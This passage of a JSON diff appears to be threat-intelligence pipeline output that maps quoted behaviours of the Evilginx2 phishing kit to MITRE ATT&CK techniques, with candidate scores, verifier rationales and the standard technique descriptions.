"exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": { + "technique_id": "T1557", + "name": "Adversary-in-the-Middle", + "description": "Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions. For example, adversaries may manipulate victim DNS settings to enable other malicious activities such as preventing/redirecting users from accessing legitimate sites and/or pushing additional malware. Adversaries may also manipulate DNS and leverage their position in order to intercept user credentials, including access tokens (Steal Application Access Token) and session cookies (Steal Web Session Cookie). Downgrade Attacks can also be used to establish an AiTM position, such as by negotiating a less secure, deprecated, or weaker version of communication protocol (SSL/TLS) or encryption algorithm. Adversaries may also leverage the AiTM position to attempt to monitor and/or modify traffic, such as in Transmitted Data Manipulation. Adversaries can setup a position similar to AiTM to prevent traffic from flowing to the appropriate destination, potentially to impair defenses and/or in support of a Network Denial of Service.", + "tactics": [ + "collection", + "credential access" + ], + "platforms": [ + "Linux", + "Network Devices", + "Windows", + "macOS" + ], + "is_subtechnique": false, + "attack_url": "https://attack.mitre.org/techniques/T1557", + "stix_id": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "modified": "2026-05-12T15:12:00.620Z" + } + }, + { + "behavior": { + "quote": "Utilizing these “phishlets,” you can configure the server to phish multiple brands at once", + "summary": "Evilginx2 configures server to phish multiple brands", + "source_start": 6716, + "source_end": 6806, + "entities": [ + { + "text": "server", + "label": "infrastructure", + "score": 0.73974609375, + "start": 6767, + "end": 6773 + } + ], + "actor": "Evilginx2", + "action": "configure", + "object": "server", + "tool": "Evilginx2", + "target": "multiple brands", + "assertion": "capability" + }, + "route": "analyst_review", + "status": "needs_analyst_review", + "selected_technique_id": "T1598.003", + "support": "supported", + "evidence_quote": "Utilizing these “phishlets,” you can configure the server to phish multiple brands at once", + "rationale": "The quote describes configuring a server with Evilginx2 phishlets to phish multiple brands, which aligns with T1598.003 Spearphishing Link as it involves using malicious links to elicit sensitive information.", + "candidates": [ + { + "technique_id": "T1566", + "name": "Phishing", + "dense_score": 0.6566085815429688, + "rerank_score": 1.0, + "rerank_rank": 0, + "late_interaction_score": 16.570499420166016, + "dense_rank": 1, + "late_interaction_rank": 303, + "fusion_score": 0.0516631702512189, + "exemplar_score": 0.8363480567932129, + "exemplar_rank": 0, + "exemplar_quote": "*Figure 14: Landing page targeting multiple brands*", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1684", + "name": "Social Engineering", + "dense_score": 0.5680891275405884, + "rerank_score": 0.95703125, + "rerank_rank": 1, + "late_interaction_score": 16.887983322143555, + "dense_rank": 32, + "late_interaction_rank": 113, + "fusion_score": 0.01649981460882462, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598", + "name": "Phishing for Information", + "dense_score": 0.6180319786071777, + "rerank_score": 0.953125, + "rerank_rank": 2, + "late_interaction_score": 16.586647033691406, + "dense_rank": 5, + "late_interaction_rank": 293, + "fusion_score": 0.0179763739085773, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1683", + "name": "Generate Content", + "dense_score": 0.5769946575164795, + "rerank_score": 0.62109375, + "rerank_rank": 3, + "late_interaction_score": 16.804492950439453, + "dense_rank": 27, + "late_interaction_rank": 147, + "fusion_score": 0.016171328671328672, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.002", + "name": "Spearphishing Attachment", + "dense_score": 0.5869541764259338, + "rerank_score": 0.59375, + "rerank_rank": 4, + "late_interaction_score": 17.012495040893555, + "dense_rank": 19, + "late_interaction_rank": 78, + "fusion_score": 0.019694244604316548, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1583.004", + "name": "Server", + "dense_score": 0.635062575340271, + "rerank_score": 0.53125, + "rerank_rank": 5, + "late_interaction_score": 17.6182804107666, + "dense_rank": 4, + "late_interaction_rank": 5, + "fusion_score": 0.030536130536130537, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1683.001", + "name": "Written Content", + "dense_score": 0.5824487209320068, + "rerank_score": 0.5, + "rerank_rank": 6, + "late_interaction_score": 16.795473098754883, + "dense_rank": 25, + "late_interaction_rank": 150, + "fusion_score": 0.01636724346963518, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.6579490900039673, + "rerank_score": 0.46875, + "rerank_rank": 7, + "late_interaction_score": 16.96870994567871, + "dense_rank": 0, + "late_interaction_rank": 87, + "fusion_score": 0.023150199379707578, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1684.001", + "name": "Impersonation", + "dense_score": 0.5973035097122192, + "rerank_score": 0.439453125, + "rerank_rank": 8, + "late_interaction_score": 17.030345916748047, + "dense_rank": 12, + "late_interaction_rank": 73, + "fusion_score": 0.02116131670415048, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.001", + "name": "Spearphishing Service", + "dense_score": 0.5869752168655396, + "rerank_score": 0.29296875, + "rerank_rank": 9, + "late_interaction_score": 17.01536750793457, + "dense_rank": 18, + "late_interaction_rank": 75, + "fusion_score": 0.020011169024571854, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.", + "tactics": [ + "reconnaissance" + ], + "platforms": [ + "PRE" + ], + "is_subtechnique": true, + "attack_url": "https://attack.mitre.org/techniques/T1598/003", + "stix_id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "modified": "2026-05-12T15:12:00.624Z" + } + }, + { + "behavior": { + "quote": "Evilginx2 allows you to configure a custom subdomain and landing page URL for each", + "summary": "Evilginx2 configures custom subdomain and landing page URL", + "source_start": 6808, + "source_end": 6890, + "entities": [ + { + "text": "subdomain", + "label": "network protocol", + "score": 0.68359375, + "start": 6851, + "end": 6860 + } + ], + "actor": "Evilginx2", + "action": "configure", + "object": "custom subdomain and landing page URL", + "tool": "Evilginx2", + "target": "", + "assertion": "capability" + }, + "route": "analyst_review", + "status": "needs_analyst_review", + "selected_technique_id": "T1598.003", + "support": "supported", + "evidence_quote": "Evilginx2 allows you to configure a custom subdomain and landing page URL for each", + "rationale": "The quote describes configuring phishing infrastructure using Evilginx2, which aligns with T1598.003 Spearphishing Link as it involves setting up malicious links and landing pages for credential harvesting.", + "candidates": [ + { + "technique_id": "T1584.001", + "name": "Domains", + "dense_score": 0.6151607632637024, + "rerank_score": 0.81640625, + "rerank_rank": 0, + "late_interaction_score": 17.771324157714844, + "dense_rank": 4, + "late_interaction_rank": 2, + "fusion_score": 0.03125763125763126, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.6198989152908325, + "rerank_score": 0.75390625, + "rerank_rank": 1, + "late_interaction_score": 16.872453689575195, + "dense_rank": 3, + "late_interaction_rank": 194, + "fusion_score": 0.01954656862745098, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1583.001", + "name": "Domains", + "dense_score": 0.6132477521896362, + "rerank_score": 0.40625, + "rerank_rank": 2, + "late_interaction_score": 16.98822021484375, + "dense_rank": 5, + "late_interaction_rank": 124, + "fusion_score": 0.020556920556920558, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1557.004", + "name": "Evil Twin", + "dense_score": 0.5212682485580444, + "rerank_score": 0.29296875, + "rerank_rank": 3, + "late_interaction_score": 17.483211517333984, + "dense_rank": 60, + "late_interaction_rank": 8, + "fusion_score": 0.022757216433105763, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1583.007", + "name": "Serverless", + "dense_score": 0.5396848917007446, + "rerank_score": 0.2109375, + "rerank_rank": 4, + "late_interaction_score": 17.84048080444336, + "dense_rank": 32, + "late_interaction_rank": 1, + "fusion_score": 0.026881720430107527, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1484", + "name": "Domain or Tenant Policy Modification", + "dense_score": 0.5628045797348022, + "rerank_score": 0.11962890625, + "rerank_rank": 5, + "late_interaction_score": 17.552040100097656, + "dense_rank": 15, + "late_interaction_rank": 6, + "fusion_score": 0.028083267871170464, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1608.005", + "name": "Link Target", + "dense_score": 0.6423510313034058, + "rerank_score": 0.09619140625, + "rerank_rank": 6, + "late_interaction_score": 17.277931213378906, + "dense_rank": 0, + "late_interaction_rank": 31, + "fusion_score": 0.027263007840342125, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1036", + "name": "Masquerading", + "dense_score": 0.508942723274231, + "rerank_score": 0.06787109375, + "rerank_rank": 7, + "late_interaction_score": 17.046043395996094, + "dense_rank": 82, + "late_interaction_rank": 98, + "fusion_score": 0.045028346915139364, + "exemplar_score": 0.8116584420204163, + "exemplar_rank": 2, + "exemplar_quote": "In most attacks, newly registered domains are typosquatting for legitimate web services, such as Google ads, CDNs, Jquery, Magento, etc., as typosquatting increases the chance of remaining undetected in legitimate traffic.", + "exemplar_document": "zscaler_2021-05-11_magecart-attacks-2021" + }, + { + "technique_id": "T1583", + "name": "Acquire Infrastructure", + "dense_score": 0.5212512016296387, + "rerank_score": 0.06787109375, + "rerank_rank": 8, + "late_interaction_score": 16.788148880004883, + "dense_rank": 61, + "late_interaction_rank": 273, + "fusion_score": 0.04149376359055362, + "exemplar_score": 0.7802543044090271, + "exemplar_rank": 5, + "exemplar_quote": "Through the intelligence gathered from the Zscaler cloud, we discovered several newly registered domains that use VoIP and voicemail as themes for their credential-stealing phishing campaigns.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1583.004", + "name": "Server", + "dense_score": 0.5642344355583191, + "rerank_score": 0.06787109375, + "rerank_rank": 9, + "late_interaction_score": 17.06959342956543, + "dense_rank": 14, + "late_interaction_rank": 89, + "fusion_score": 0.02, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.", + "tactics": [ + "reconnaissance" + ], + "platforms": [ + "PRE" + ], + "is_subtechnique": true, + "attack_url": "https://attack.mitre.org/techniques/T1598/003", + "stix_id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "modified": "2026-05-12T15:12:00.624Z" + } + }, + { + "behavior": { + "quote": "After they log in, the credentials, including MFA codes, and session cookie are sent to the server in real-time", + "summary": "Evilginx2 sends credentials, MFA codes, and session cookies to server", + "source_start": 7141, + "source_end": 7252, + "entities": [ + { + "text": "MFA codes", + "label": "authentication token", + "score": 0.62060546875, + "start": 7187, + "end": 7196 + } + ], + "actor": "Evilginx2", + "action": "sent", + "object": "credentials, including MFA codes, and session cookie", + "tool": "Evilginx2", + "target": "server", + "assertion": "capability" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "The quote states session cookies are sent to a server, which aligns with the definition of stealing web session cookies.", + "candidates": [ + { + "technique_id": "T1539", + "name": "Steal Web Session Cookie", + "dense_score": 0.691676139831543, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 18.880949020385742, + "dense_rank": 3, + "late_interaction_rank": 6, + "fusion_score": 0.06280843765045739, + "exemplar_score": 0.7222933769226074, + "exemplar_rank": 1, + "exemplar_quote": "It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents.", + "exemplar_document": "proofpoint_2021-07-01_malware-masquerades-privacy-tool" + }, + { + "technique_id": "T1550.004", + "name": "Web Session Cookie", + "dense_score": 0.6912945508956909, + "rerank_score": 0.99609375, + "rerank_rank": 1, + "late_interaction_score": 18.898893356323242, + "dense_rank": 4, + "late_interaction_rank": 5, + "fusion_score": 0.030536130536130537, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1111", + "name": "Multi-Factor Authentication Interception", + "dense_score": 0.6269564628601074, + "rerank_score": 0.99609375, + "rerank_rank": 2, + "late_interaction_score": 18.634138107299805, + "dense_rank": 8, + "late_interaction_rank": 9, + "fusion_score": 0.02877846790890269, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1589.001", + "name": "Credentials", + "dense_score": 0.6977835297584534, + "rerank_score": 0.96484375, + "rerank_rank": 3, + "late_interaction_score": 19.757274627685547, + "dense_rank": 2, + "late_interaction_rank": 0, + "fusion_score": 0.032266458495966696, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1056", + "name": "Input Capture", + "dense_score": 0.6476104259490967, + "rerank_score": 0.65234375, + "rerank_rank": 4, + "late_interaction_score": 18.38622283935547, + "dense_rank": 5, + "late_interaction_rank": 16, + "fusion_score": 0.05630754222303518, + "exemplar_score": 0.699537992477417, + "exemplar_rank": 10, + "exemplar_quote": "Similarly, the other modules named keystrokes, clipboard, and screen sender, execute with individual threads and send stolen data to the attacker, then sleep for some period of time before repeating the same stealing process.", + "exemplar_document": "zscaler_2020-07-10_deep-dive-m00nd3v-logger" + }, + { + "technique_id": "T1557", + "name": "Adversary-in-the-Middle", + "dense_score": 0.5709491968154907, + "rerank_score": 0.65234375, + "rerank_rank": 5, + "late_interaction_score": 17.76766586303711, + "dense_rank": 42, + "late_interaction_rank": 88, + "fusion_score": 0.047670147260050824, + "exemplar_score": 0.7147855758666992, + "exemplar_rank": 3, + "exemplar_quote": "If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.", + "exemplar_document": "proofpoint_2021-05-18_threat-actors-exploit-microsoft-and" + }, + { + "technique_id": "T1040", + "name": "Network Sniffing", + "dense_score": 0.5620374083518982, + "rerank_score": 0.65234375, + "rerank_rank": 6, + "late_interaction_score": 18.329395294189453, + "dense_rank": 50, + "late_interaction_rank": 20, + "fusion_score": 0.021354688021354686, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.7018756866455078, + "rerank_score": 0.53125, + "rerank_rank": 7, + "late_interaction_score": 18.543624877929688, + "dense_rank": 1, + "late_interaction_rank": 10, + "fusion_score": 0.03021353930031804, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1621", + "name": "Multi-Factor Authentication Request Generation", + "dense_score": 0.6093156933784485, + "rerank_score": 0.37890625, + "rerank_rank": 8, + "late_interaction_score": 19.079883575439453, + "dense_rank": 13, + "late_interaction_rank": 1, + "fusion_score": 0.02964254577157803, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1056.003", + "name": "Web Portal Capture", + "dense_score": 0.7081235647201538, + "rerank_score": 0.37890625, + "rerank_rank": 9, + "late_interaction_score": 17.941574096679688, + "dense_rank": 0, + "late_interaction_rank": 56, + "fusion_score": 0.02494045116995937, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "the victim is either redirected to a different page or allowed to continue through to the page", + "summary": "Evilginx2 redirects victim to different page or allows continuation", + "source_start": 7257, + "source_end": 7351, + "entities": [], + "actor": "Evilginx2", + "action": "redirected", + "object": "victim", + "tool": "Evilginx2", + "target": "different page", + "assertion": "capability" + }, + "route": "analyst_review", + "status": "needs_analyst_review", + "selected_technique_id": "T1598.003", + "support": "supported", + "evidence_quote": "the victim is either redirected to a different page or allowed to continue through to the page", + "rationale": "The quote describes redirecting victims via Evilginx2, an AiTM phishing tool used in spearphishing campaigns to harvest credentials and session cookies.", + "candidates": [ + { + "technique_id": "T1566", + "name": "Phishing", + "dense_score": 0.5992035269737244, + "rerank_score": 0.65234375, + "rerank_rank": 0, + "late_interaction_score": 18.225317001342773, + "dense_rank": 5, + "late_interaction_rank": 49, + "fusion_score": 0.05702930948832588, + "exemplar_score": 0.8844314813613892, + "exemplar_rank": 0, + "exemplar_quote": "It uses *window.location.replace()* to redirect the user to the phishing site, as shown in Figure 2.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.6557244062423706, + "rerank_score": 0.439453125, + "rerank_rank": 1, + "late_interaction_score": 17.91381072998047, + "dense_rank": 0, + "late_interaction_rank": 96, + "fusion_score": 0.02276286937454318, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1185", + "name": "Browser Session Hijacking", + "dense_score": 0.5616562962532043, + "rerank_score": 0.37890625, + "rerank_rank": 2, + "late_interaction_score": 17.648265838623047, + "dense_rank": 15, + "late_interaction_rank": 181, + "fusion_score": 0.044687386415773384, + "exemplar_score": 0.6855685710906982, + "exemplar_rank": 12, + "exemplar_quote": "| T1185 | Man in the Browser |", + "exemplar_document": "zscaler_2021-03-30_ares-malware-grandson-kronos-banking" + }, + { + "technique_id": "T1557", + "name": "Adversary-in-the-Middle", + "dense_score": 0.5524505376815796, + "rerank_score": 0.333984375, + "rerank_rank": 3, + "late_interaction_score": 18.051647186279297, + "dense_rank": 19, + "late_interaction_rank": 69, + "fusion_score": 0.04960407239819005, + "exemplar_score": 0.7003806829452515, + "exemplar_rank": 7, + "exemplar_quote": "If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.", + "exemplar_document": "proofpoint_2021-05-18_threat-actors-exploit-microsoft-and" + }, + { + "technique_id": "T1204", + "name": "User Execution", + "dense_score": 0.5821467638015747, + "rerank_score": 0.1923828125, + "rerank_rank": 4, + "late_interaction_score": 17.897457122802734, + "dense_rank": 8, + "late_interaction_rank": 104, + "fusion_score": 0.05085638998682477, + "exemplar_score": 0.7586154937744141, + "exemplar_rank": 5, + "exemplar_quote": "Click the URL link.", + "exemplar_document": "zscaler_2020-09-29_targeted-attacks-oil-and-gas" + }, + { + "technique_id": "T1090", + "name": "Proxy", + "dense_score": 0.5515360832214355, + "rerank_score": 0.173828125, + "rerank_rank": 5, + "late_interaction_score": 18.110836029052734, + "dense_rank": 24, + "late_interaction_rank": 62, + "fusion_score": 0.019894787183165952, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1608.005", + "name": "Link Target", + "dense_score": 0.6245685815811157, + "rerank_score": 0.1640625, + "rerank_rank": 6, + "late_interaction_score": 18.067142486572266, + "dense_rank": 1, + "late_interaction_rank": 67, + "fusion_score": 0.023941532258064516, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1204.001", + "name": "Malicious Link", + "dense_score": 0.5984858870506287, + "rerank_score": 0.1640625, + "rerank_rank": 7, + "late_interaction_score": 17.74079704284668, + "dense_rank": 6, + "late_interaction_rank": 154, + "fusion_score": 0.019576535925026034, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1090.002", + "name": "External Proxy", + "dense_score": 0.5393492579460144, + "rerank_score": 0.1123046875, + "rerank_rank": 8, + "late_interaction_score": 18.180927276611328, + "dense_rank": 30, + "late_interaction_rank": 53, + "fusion_score": 0.019760940813572395, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "dense_score": 0.412759006023407, + "rerank_score": 0.1005859375, + "rerank_rank": 9, + "late_interaction_score": 17.617996215820312, + "dense_rank": 354, + "late_interaction_rank": 188, + "fusion_score": 0.03868376732737401, + "exemplar_score": 0.8499866724014282, + "exemplar_rank": 1, + "exemplar_quote": "The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.", + "tactics": [ + "reconnaissance" + ], + "platforms": [ + "PRE" + ], + "is_subtechnique": true, + "attack_url": "https://attack.mitre.org/techniques/T1598/003", + "stix_id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230", + "modified": "2026-05-12T15:12:00.624Z" + } + }, + { + "behavior": { + "quote": "The threat actor is then able to use the stolen session cookie to log in as the victim where they can take multiple actions like changing the password, copying data, or pretending to be the victim", + "summary": "Threat actor uses stolen session cookie to log in as victim and perform actions", + "source_start": 7353, + "source_end": 7549, + "entities": [ + { + "text": "session cookie", + "label": "credential", + "score": 0.8955078125, + "start": 7401, + "end": 7415 + }, + { + "text": "password", + "label": "credential", + "score": 0.5322265625, + "start": 7495, + "end": 7503 + } + ], + "actor": "threat actor", + "action": "use", + "object": "stolen session cookie", + "tool": "Evilginx2", + "target": "victim", + "assertion": "observed" + }, + "route": "analyst_review", + "status": "needs_analyst_review", + "selected_technique_id": "T1550.004", + "support": "supported", + "evidence_quote": "use the stolen session cookie to log in as the victim", + "rationale": "The quote describes using a stolen session cookie to authenticate and perform actions as the victim, which aligns with T1550.004 Web Session Cookie.", + "candidates": [ + { + "technique_id": "T1539", + "name": "Steal Web Session Cookie", + "dense_score": 0.7885292768478394, + "rerank_score": 1.0, + "rerank_rank": 0, + "late_interaction_score": 20.214401245117188, + "dense_rank": 1, + "late_interaction_rank": 1, + "fusion_score": 0.06504494976203068, + "exemplar_score": 0.8541183471679688, + "exemplar_rank": 0, + "exemplar_quote": "| T1539 | Steal Web Session Cookie |", + "exemplar_document": 